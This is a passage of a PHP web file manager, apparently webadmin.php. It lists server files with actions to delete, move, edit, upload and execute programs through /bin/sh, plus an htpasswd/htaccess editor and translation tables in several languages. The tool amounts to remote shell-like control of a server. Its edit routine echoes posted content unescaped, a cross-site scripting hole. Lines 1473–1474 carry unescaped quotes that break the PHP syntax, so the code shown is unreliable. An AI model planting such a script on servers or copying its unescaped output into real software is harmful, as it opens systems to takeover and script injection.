1235 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1236 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1237 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1238
1239 echo '<tr class="listing">
1240 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1241 <td class="filename" title="' . html($timestamps) . '">';
1242
1243 if ($file['is_link']) {
1244
1245 echo '<img src="' . $self . '?image=link" alt="link" /> ';
1246 echo html($file['filename']) . ' → ';
1247
1248 $real_file = relative2absolute($file['target'], $directory);
1249
1250 if (@is_readable($real_file)) {
1251 if (@is_dir($real_file)) {
1252 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1253 } else {
1254 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1255 }
1256 } else {
1257 echo html($file['target']);
1258 }
1259
1260 } elseif ($file['is_dir']) {
1261
1262 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1263 if ($win || $file['is_executable']) {
1264 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1265 } else {
1266 echo html($file['filename']);
1267 }
1268 echo ' ]';
1269
1270 } else {
1271
1272 if (substr($file['filename'], 0, 1) == '.') {
1273 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1274 } else {
1275 echo '<img src="' . $self . '?image=file" alt="file" /> ';
1276 }
1277
1278 if ($file['is_file'] && $file['is_readable']) {
1279 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1280 } else {
1281 echo html($file['filename']);
1282 }
1283
1284 }
1285
1286 if ($file['size'] >= 1000) {
1287 $human = ' title="' . human_filesize($file['size']) . '"';
1288 } else {
1289 $human = '';
1290 }
1291
1292 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1293
1294 if (!$win) {
1295
1296 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1297
1298 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1299 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
1300 echo html(permission_octal2string($file['permission']));
1301 if ($l) echo '</a>';
1302
1303 echo "</td>\n";
1304
1305 if (array_key_exists('owner_name', $file)) {
1306 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1307 } else {
1308 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1309 }
1310
1311 if (array_key_exists('group_name', $file)) {
1312 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1313 } else {
1314 echo "\t<td class=\"group\">{$file['group']}</td>\n";
1315 }
1316
1317 }
1318
1319 echo ' <td class="functions">
1320 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1321';
1322
1323 $actions = array();
1324 if (function_exists('symlink')) {
1325 $actions[] = 'create_symlink';
1326 }
1327 if (@is_writable(dirname($file['path']))) {
1328 $actions[] = 'delete';
1329 $actions[] = 'rename';
1330 $actions[] = 'move';
1331 }
1332 if ($file['is_file'] && $file['is_readable']) {
1333 $actions[] = 'copy';
1334 $actions[] = 'download';
1335 if ($file['is_writable']) $actions[] = 'edit';
1336 }
1337 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1338 $actions[] = 'execute';
1339 }
1340
1341 if (sizeof($actions) > 0) {
1342
1343 echo ' <select class="small" name="action' . $i . '" size="1">
1344 <option value="">' . str_repeat(' ', 30) . '</option>
1345';
1346
1347 foreach ($actions as $action) {
1348 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1349 }
1350
1351 echo ' </select>
1352 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1353';
1354
1355 }
1356
1357 echo ' </td>
1358</tr>
1359';
1360
1361 }
1362
1363 echo '<tr class="listing_footer">
1364 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
1365 <td colspan="' . ($cols - 1) . '">
1366 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1367 <input type="hidden" name="focus" value="" />
1368 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1369';
1370
1371 $actions = array();
1372 if (@is_writable(dirname($file['path']))) {
1373 $actions[] = 'delete';
1374 $actions[] = 'move';
1375 }
1376 $actions[] = 'copy';
1377
1378 echo ' <select class="small" name="action_all" size="1">
1379 <option value="">' . str_repeat(' ', 30) . '</option>
1380';
1381
1382 foreach ($actions as $action) {
1383 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1384 }
1385
1386 echo ' </select>
1387 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1388 </td>
1389</tr>
1390';
1391
1392}
1393
1394function directory_choice () {
1395 global $directory, $homedir, $cols, $self;
1396
1397 echo '<tr>
1398 <td colspan="' . $cols . '" id="directory">
1399 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1400 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1401 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1402 </td>
1403</tr>
1404';
1405
1406}
1407
1408function upload_box () {
1409 global $cols;
1410
1411 echo '<tr>
1412 <td colspan="' . $cols . '" id="upload">
1413 ' . word('file') . ':
1414 <input type="file" name="upload" onfocus="activate(\'other\')" />
1415 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1416 </td>
1417</tr>
1418';
1419
1420}
1421
1422function create_box () {
1423 global $cols;
1424
1425 echo '<tr>
1426 <td colspan="' . $cols . '" id="create">
1427 <select name="create_type" size="1" onfocus="activate(\'create\')">
1428 <option value="file">' . word('file') . '</option>
1429 <option value="directory">' . word('directory') . '</option>
1430 </select>
1431 <input type="text" name="create_name" onfocus="activate(\'create\')" />
1432 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1433 </td>
1434</tr>
1435';
1436
1437}
1438
1439function edit ($file) {
1440 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1441
1442 html_header();
1443
1444 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1445
1446<form action="' . $self . '" method="post">
1447
1448<table class="dialog">
1449<tr>
1450<td class="dialog">
1451
1452 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1453
1454 if (array_key_exists('content', $_POST)) {
1455 echo $_POST['content'];
1456 } else {
1457 $f = fopen($file, 'r');
1458 while (!feof($f)) {
1459 echo html(fread($f, 8192));
1460 }
1461 fclose($f);
1462 }
1463
1464 if (!empty($_POST['user'])) {
1465 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1466 }
1467 if (!empty($_POST['basic_auth'])) {
1468 if ($win) {
1469 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1470 } else {
1471 $authfile = $directory . $htpasswd;
1472 }
1473 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
1474 echo 'AuthUserFile "' . html($authfile) . ""\n";
1475 echo 'Require valid-user';
1476 }
1477
1478 echo '</textarea>
1479
1480 <hr />
1481';
1482
1483 if ($apache && basename($file) == $htpasswd) {
1484 echo '
1485 ' . word('user') . ': <input type="text" name="user" />
1486 ' . word('password') . ': <input type="password" name="password" />
1487 <input type="submit" value="' . word('add') . '" />
1488
1489 <hr />
1490';
1491
1492 }
1493
1494 if ($apache && basename($file) == $htaccess) {
1495 echo '
1496 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1497
1498 <hr />
1499';
1500
1501 }
1502
1503 echo '
1504 <input type="hidden" name="action" value="edit" />
1505 <input type="hidden" name="file" value="' . html($file) . '" />
1506 <input type="hidden" name="dir" value="' . html($directory) . '" />
1507 <input type="reset" value="' . word('reset') . '" id="red_button" />
1508 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1509
1510</td>
1511</tr>
1512</table>
1513
1514<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1515
1516</form>
1517
1518';
1519
1520 html_footer();
1521
1522}
1523
1524function spacer () {
1525 global $cols;
1526
1527 echo '<tr>
1528 <td colspan="' . $cols . '" style="height: 1em"></td>
1529</tr>
1530';
1531
1532}
1533
1534function textfieldsize ($content) {
1535
1536 $size = strlen($content) + 5;
1537 if ($size < 30) $size = 30;
1538
1539 return $size;
1540
1541}
1542
1543function request_dump () {
1544
1545 foreach ($_REQUEST as $key => $value) {
1546 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1547 }
1548
1549}
1550
1551/* ------------------------------------------------------------------------- */
1552
1553function html ($string) {
1554 global $site_charset;
1555 return htmlentities($string, ENT_COMPAT, $site_charset);
1556}
1557
1558function word ($word) {
1559 global $words, $word_charset;
1560 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1561}
1562
1563function phrase ($phrase, $arguments) {
1564 global $words;
1565 static $search;
1566
1567 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1568
1569 for ($i = 0; $i < sizeof($arguments); $i++) {
1570 $arguments[$i] = nl2br(html($arguments[$i]));
1571 }
1572
1573 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1574
1575 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1576
1577}
1578
1579function getwords ($lang) {
1580 global $word_charset, $date_format;
1581
1582 switch ($lang) {
1583 case 'de':
1584
1585 $date_format = 'd.m.y H:i:s';
1586 $word_charset = 'ISO-8859-1';
1587
1588 return array(
1589'directory' => 'Verzeichnis',
1590'file' => 'Datei',
1591'filename' => 'Dateiname',
1592
1593'size' => 'Größe',
1594'permission' => 'Rechte',
1595'owner' => 'Eigner',
1596'group' => 'Gruppe',
1597'other' => 'Andere',
1598'functions' => 'Funktionen',
1599
1600'read' => 'lesen',
1601'write' => 'schreiben',
1602'execute' => 'ausführen',
1603
1604'create_symlink' => 'Symlink erstellen',
1605'delete' => 'löschen',
1606'rename' => 'umbenennen',
1607'move' => 'verschieben',
1608'copy' => 'kopieren',
1609'edit' => 'editieren',
1610'download' => 'herunterladen',
1611'upload' => 'hochladen',
1612'create' => 'erstellen',
1613'change' => 'wechseln',
1614'save' => 'speichern',
1615'set' => 'setze',
1616'reset' => 'zurücksetzen',
1617'relative' => 'Pfad zum Ziel relativ',
1618
1619'yes' => 'Ja',
1620'no' => 'Nein',
1621'back' => 'zurück',
1622'destination' => 'Ziel',
1623'symlink' => 'Symbolischer Link',
1624'no_output' => 'keine Ausgabe',
1625
1626'user' => 'Benutzername',
1627'password' => 'Kennwort',
1628'add' => 'hinzufügen',
1629'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
1630
1631'uploaded' => '"[%1]" wurde hochgeladen.',
1632'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1633'already_exists' => '"[%1]" existiert bereits.',
1634'created' => '"[%1]" wurde erstellt.',
1635'not_created' => '"[%1]" konnte nicht erstellt werden.',
1636'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
1637'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
1638'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
1639'rename_file' => 'Benenne Datei um:',
1640'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1641'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1642'move_files' => 'Verschieben folgende Dateien:',
1643'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
1644'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
1645'copy_files' => 'Kopiere folgende Dateien:',
1646'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
1647'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
1648'not_edited' => '"[%1]" kann nicht editiert werden.',
1649'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
1650'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
1651'saved' => '"[%1]" wurde gespeichert.',
1652'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1653'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1654'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1655'permission_for' => 'Rechte für "[%1]":',
1656'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
1657'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
1658'not_readable' => '"[%1]" kann nicht gelesen werden.'
1659 );
1660
1661 case 'fr':
1662
1663 $date_format = 'd.m.y H:i:s';
1664 $word_charset = 'ISO-8859-1';
1665
1666 return array(
1667'directory' => 'Répertoire',
1668'file' => 'Fichier',
1669'filename' => 'Nom fichier',
1670
1671'size' => 'Taille',
1672'permission' => 'Droits',
1673'owner' => 'Propriétaire',
1674'group' => 'Groupe',
1675'other' => 'Autres',
1676'functions' => 'Fonctions',
1677
1678'read' => 'Lire',
1679'write' => 'Ecrire',
1680'execute' => 'Exécuter',
1681
1682'create_symlink' => 'Créer lien symbolique',
1683'delete' => 'Effacer',
1684'rename' => 'Renommer',
1685'move' => 'Déplacer',
1686'copy' => 'Copier',
1687'edit' => 'Ouvrir',
1688'download' => 'Télécharger sur PC',
1689'upload' => 'Télécharger sur serveur',
1690'create' => 'Créer',
1691'change' => 'Changer',
1692'save' => 'Sauvegarder',
1693'set' => 'Exécuter',
1694'reset' => 'Réinitialiser',
1695'relative' => 'Relatif',
1696
1697'yes' => 'Oui',
1698'no' => 'Non',
1699'back' => 'Retour',
1700'destination' => 'Destination',
1701'symlink' => 'Lien symbollique',
1702'no_output' => 'Pas de sortie',
1703
1704'user' => 'Utilisateur',
1705'password' => 'Mot de passe',
1706'add' => 'Ajouter',
1707'add_basic_auth' => 'add basic-authentification',
1708
1709'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
1710'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
1711'already_exists' => '"[%1]" existe déjà .',
1712'created' => '"[%1]" a été créé.',
1713'not_created' => '"[%1]" n a pas pu être créé.',
1714'really_delete' => 'Effacer le fichier?',
1715'deleted' => "Ces fichiers ont été détuits:\n[%1]",
1716'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
1717'rename_file' => 'Renomme fichier:',
1718'renamed' => '"[%1]" a été renommé en "[%2]".',
1719'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
1720'move_files' => 'Déplacer ces fichiers:',
1721'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
1722'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
1723'copy_files' => 'Copier ces fichiers:',
1724'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
1725'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
1726'not_edited' => '"[%1]" ne peut être ouvert.',
1727'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
1728'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
1729'saved' => '"[%1]" a été sauvegardé.',
1730'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
1731'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
1732'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
1733'permission_for' => 'Droits de "[%1]":',
1734'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
1735'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
1736'not_readable' => '"[%1]" ne peut pas être ouvert.'
1737 );
1738
1739 case 'it':
1740
1741 $date_format = 'd-m-Y H:i:s';
1742 $word_charset = 'ISO-8859-1';
1743
1744 return array(
1745'directory' => 'Directory',
1746'file' => 'File',
1747'filename' => 'Nome File',
1748
1749'size' => 'Dimensioni',
1750'permission' => 'Permessi',
1751'owner' => 'Proprietario',
1752'group' => 'Gruppo',
1753'other' => 'Altro',
1754'functions' => 'Funzioni',
1755
1756'read' => 'leggi',
1757'write' => 'scrivi',
1758'execute' => 'esegui',
1759
1760'create_symlink' => 'crea link simbolico',
1761'delete' => 'cancella',
1762'rename' => 'rinomina',
1763'move' => 'sposta',
1764'copy' => 'copia',
1765'edit' => 'modifica',
1766'download' => 'download',
1767'upload' => 'upload',
1768'create' => 'crea',
1769'change' => 'cambia',
1770'save' => 'salva',
1771'set' => 'imposta',
1772'reset' => 'reimposta',
1773'relative' => 'Percorso relativo per la destinazione',
1774
1775'yes' => 'Si',
1776'no' => 'No',
1777'back' => 'indietro',
1778'destination' => 'Destinazione',
1779'symlink' => 'Link simbolico',
1780'no_output' => 'no output',
1781
1782'user' => 'User',
1783'password' => 'Password',
1784'add' => 'aggiungi',
1785'add_basic_auth' => 'aggiungi autenticazione base',
1786
1787'uploaded' => '"[%1]" è stato caricato.',
1788'not_uploaded' => '"[%1]" non è stato caricato.',
1789'already_exists' => '"[%1]" esiste già .',
1790'created' => '"[%1]" è stato creato.',
1791'not_created' => '"[%1]" non è stato creato.',
1792'really_delete' => 'Cancello questi file ?',
1793'deleted' => "Questi file sono stati cancellati:\n[%1]",
1794'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
1795'rename_file' => 'File rinominato:',
1796'renamed' => '"[%1]" è stato rinominato in "[%2]".',
1797'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
1798'move_files' => 'Sposto questi file:',
1799'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
1800'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
1801'copy_files' => 'Copio questi file',
1802'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
1803'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
1804'not_edited' => '"[%1]" non può essere modificato.',
1805'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
1806'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
1807'saved' => '"[%1]" è stato salvato.',
1808'not_saved' => '"[%1]" non è stato salvato.',
1809'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
1810'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
1811'permission_for' => 'Permessi di "[%1]":',
1812'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1813'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1814'not_readable' => '"[%1]" non può essere letto.'
1815 );
1816
1817 case 'nl':
1818
1819 $date_format = 'n/j/y H:i:s';
1820 $word_charset = 'ISO-8859-1';
1821
1822 return array(
1823'directory' => 'Directory',
1824'file' => 'Bestand',
1825'filename' => 'Bestandsnaam',
1826
1827'size' => 'Grootte',
1828'permission' => 'Bevoegdheid',
1829'owner' => 'Eigenaar',
1830'group' => 'Groep',
1831'other' => 'Anderen',
1832'functions' => 'Functies',
1833
1834'read' => 'lezen',
1835'write' => 'schrijven',
1836'execute' => 'uitvoeren',
1837
1838'create_symlink' => 'maak symlink',
1839'delete' => 'verwijderen',
1840'rename' => 'hernoemen',
1841'move' => 'verplaatsen',
1842'copy' => 'kopieren',
1843'edit' => 'bewerken',
1844'download' => 'downloaden',
1845'upload' => 'uploaden',
1846'create' => 'aanmaken',
1847'change' => 'veranderen',
1848'save' => 'opslaan',
1849'set' => 'instellen',
1850'reset' => 'resetten',
1851'relative' => 'Relatief pat naar doel',
1852
1853'yes' => 'Ja',
1854'no' => 'Nee',
1855'back' => 'terug',
1856'destination' => 'Bestemming',
1857'symlink' => 'Symlink',
1858'no_output' => 'geen output',
1859
1860'user' => 'Gebruiker',
1861'password' => 'Wachtwoord',
1862'add' => 'toevoegen',
1863'add_basic_auth' => 'add basic-authentification',
1864
1865'uploaded' => '"[%1]" is verstuurd.',
1866'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1867'already_exists' => '"[%1]" bestaat al.',
1868'created' => '"[%1]" is aangemaakt.',
1869'not_created' => '"[%1]" kan niet worden aangemaakt.',
1870'really_delete' => 'Deze bestanden verwijderen?',
1871'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
1872'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
1873'rename_file' => 'Bestandsnaam veranderen:',
1874'renamed' => '"[%1]" heet nu "[%2]".',
1875'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1876'move_files' => 'Verplaats deze bestanden:',
1877'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
1878'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
1879'copy_files' => 'Kopieer deze bestanden:',
1880'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
1881'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
1882'not_edited' => '"[%1]" kan niet worden bewerkt.',
1883'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
1884'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
1885'saved' => '"[%1]" is opgeslagen.',
1886'not_saved' => '"[%1]" is niet opgeslagen.',
1887'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
1888'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
1889'permission_for' => 'Bevoegdheid voor "[%1]":',
1890'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
1891'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
1892'not_readable' => '"[%1]" kan niet worden gelezen.'
1893 );
1894
1895 case 'se':
1896
1897 $date_format = 'n/j/y H:i:s';
1898 $word_charset = 'ISO-8859-1';
1899
1900 return array(
1901'directory' => 'Mapp',
1902'file' => 'Fil',
1903'filename' => 'Filnamn',
1904
1905'size' => 'Storlek',
1906'permission' => 'Säkerhetsnivå',
1907'owner' => 'Ägare',
1908'group' => 'Grupp',
1909'other' => 'Andra',
1910'functions' => 'Funktioner',
1911
1912'read' => 'Läs',
1913'write' => 'Skriv',
1914'execute' => 'Utför',
1915
1916'create_symlink' => 'Skapa symlink',
1917'delete' => 'Radera',
1918'rename' => 'Byt namn',
1919'move' => 'Flytta',
1920'copy' => 'Kopiera',
1921'edit' => 'Ändra',
1922'download' => 'Ladda ner',
1923'upload' => 'Ladda upp',
1924'create' => 'Skapa',
1925'change' => 'Ändra',
1926'save' => 'Spara',
1927'set' => 'Markera',
1928'reset' => 'Töm',
1929'relative' => 'Relative path to target',
1930
1931'yes' => 'Ja',
1932'no' => 'Nej',
1933'back' => 'Tillbaks',
1934'destination' => 'Destination',
1935'symlink' => 'Symlink',
1936'no_output' => 'no output',
1937
1938'user' => 'Användare',
1939'password' => 'Lösenord',
1940'add' => 'Lägg till',
1941'add_basic_auth' => 'add basic-authentification',
1942
1943'uploaded' => '"[%1]" har laddats upp.',
1944'not_uploaded' => '"[%1]" kunde inte laddas upp.',
1945'already_exists' => '"[%1]" finns redan.',
1946'created' => '"[%1]" har skapats.',
1947'not_created' => '"[%1]" kunde inte skapas.',
1948'really_delete' => 'Radera dessa filer?',
1949'deleted' => "De här filerna har raderats:\n[%1]",
1950'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
1951'rename_file' => 'Byt namn på fil:',
1952'renamed' => '"[%1]" har bytt namn till "[%2]".',
1953'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
1954'move_files' => 'Flytta dessa filer:',
1955'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
1956'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
1957'copy_files' => 'Kopiera dessa filer:',
1958'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
1959'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
1960'not_edited' => '"[%1]" kan inte ändras.',
1961'executed' => "\"[%1]\" har utförts:\n{%2}",
1962'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
1963'saved' => '"[%1]" har sparats.',
1964'not_saved' => '"[%1]" kunde inte sparas.',
1965'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
1966'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
1967'permission_for' => 'Rättigheter för "[%1]":',
1968'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
1969'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1970'not_readable' => '"[%1]" kan inte läsas.'
1971 );
1972
1973 case 'sp':
1974
1975 $date_format = 'j/n/y H:i:s';
1976 $word_charset = 'ISO-8859-1';
1977
1978 return array(
1979'directory' => 'Directorio',
1980'file' => 'Archivo',
1981'filename' => 'Nombre Archivo',
1982
1983'size' => 'Tamaño',
1984'permission' => 'Permisos',
1985'owner' => 'Propietario',
1986'group' => 'Grupo',
1987'other' => 'Otros',
1988'functions' => 'Funciones',
1989
1990'read' => 'lectura',
1991'write' => 'escritura',
1992'execute' => 'ejecución',
1993
1994'create_symlink' => 'crear enlace',
1995'delete' => 'borrar',
1996'rename' => 'renombrar',
1997'move' => 'mover',
1998'copy' => 'copiar',
1999'edit' => 'editar',
2000'download' => 'bajar',
2001'upload' => 'subir',
2002'create' => 'crear',
2003'change' => 'cambiar',
2004'save' => 'salvar',
2005'set' => 'setear',
2006'reset' => 'resetear',
2007'relative' => 'Path relativo',
2008
2009'yes' => 'Si',
2010'no' => 'No',
2011'back' => 'atrás',
2012'destination' => 'Destino',
2013'symlink' => 'Enlace',
2014'no_output' => 'sin salida',
2015
2016'user' => 'Usuario',
2017'password' => 'Clave',
2018'add' => 'agregar',
2019'add_basic_auth' => 'agregar autentificación básica',
2020
2021'uploaded' => '"[%1]" ha sido subido.',
2022'not_uploaded' => '"[%1]" no pudo ser subido.',
2023'already_exists' => '"[%1]" ya existe.',
2024'created' => '"[%1]" ha sido creado.',
2025'not_created' => '"[%1]" no pudo ser creado.',
2026'really_delete' => '¿Borra estos archivos?',
2027'deleted' => "Estos archivos han sido borrados:\n[%1]",
2028'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
2029'rename_file' => 'Renombra archivo:',
2030'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
2031'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
2032'move_files' => 'Mover estos archivos:',
2033'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
2034'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
2035'copy_files' => 'Copiar estos archivos:',
2036'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
2037'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
2038'not_edited' => '"[%1]" no pudo ser editado.',
2039'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
2040'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
2041'saved' => '"[%1]" ha sido salvado.',
2042'not_saved' => '"[%1]" no pudo ser salvado.',
2043'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
2044'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
2045'permission_for' => 'Permisos de "[%1]":',
2046'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
2047'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
2048'not_readable' => '"[%1]" no pudo ser leÃdo.'
2049 );
2050
2051 case 'dk':
2052
2053 $date_format = 'n/j/y H:i:s';
2054 $word_charset = 'ISO-8859-1';
2055
2056 return array(
2057'directory' => 'Mappe',
2058'file' => 'Fil',
2059'filename' => 'Filnavn',
2060
2061'size' => 'Størrelse',
2062'permission' => 'Rettighed',
2063'owner' => 'Ejer',
2064'group' => 'Gruppe',
2065'other' => 'Andre',
2066'functions' => 'Funktioner',
2067
2068'read' => 'læs',
2069'write' => 'skriv',
2070'execute' => 'kør',
2071
2072'create_symlink' => 'opret symbolsk link',
2073'delete' => 'slet',
2074'rename' => 'omdøb',
2075'move' => 'flyt',
2076'copy' => 'kopier',
2077'edit' => 'rediger',
2078'download' => 'download',
2079'upload' => 'upload',
2080'create' => 'opret',
2081'change' => 'skift',
2082'save' => 'gem',
2083'set' => 'sæt',
2084'reset' => 'nulstil',
2085'relative' => 'Relativ sti til valg',
2086
2087'yes' => 'Ja',
2088'no' => 'Nej',
2089'back' => 'tilbage',
2090'destination' => 'Distination',
2091'symlink' => 'Symbolsk link',
2092'no_output' => 'ingen resultat',
2093
2094'user' => 'Bruger',
2095'password' => 'Kodeord',
2096'add' => 'tilføj',
2097'add_basic_auth' => 'tilføj grundliggende rettigheder',
2098
2099'uploaded' => '"[%1]" er blevet uploaded.',
2100'not_uploaded' => '"[%1]" kunnu ikke uploades.',
2101'already_exists' => '"[%1]" findes allerede.',
2102'created' => '"[%1]" er blevet oprettet.',
2103'not_created' => '"[%1]" kunne ikke oprettes.',
2104'really_delete' => 'Slet disse filer?',
2105'deleted' => "Disse filer er blevet slettet:\n[%1]",
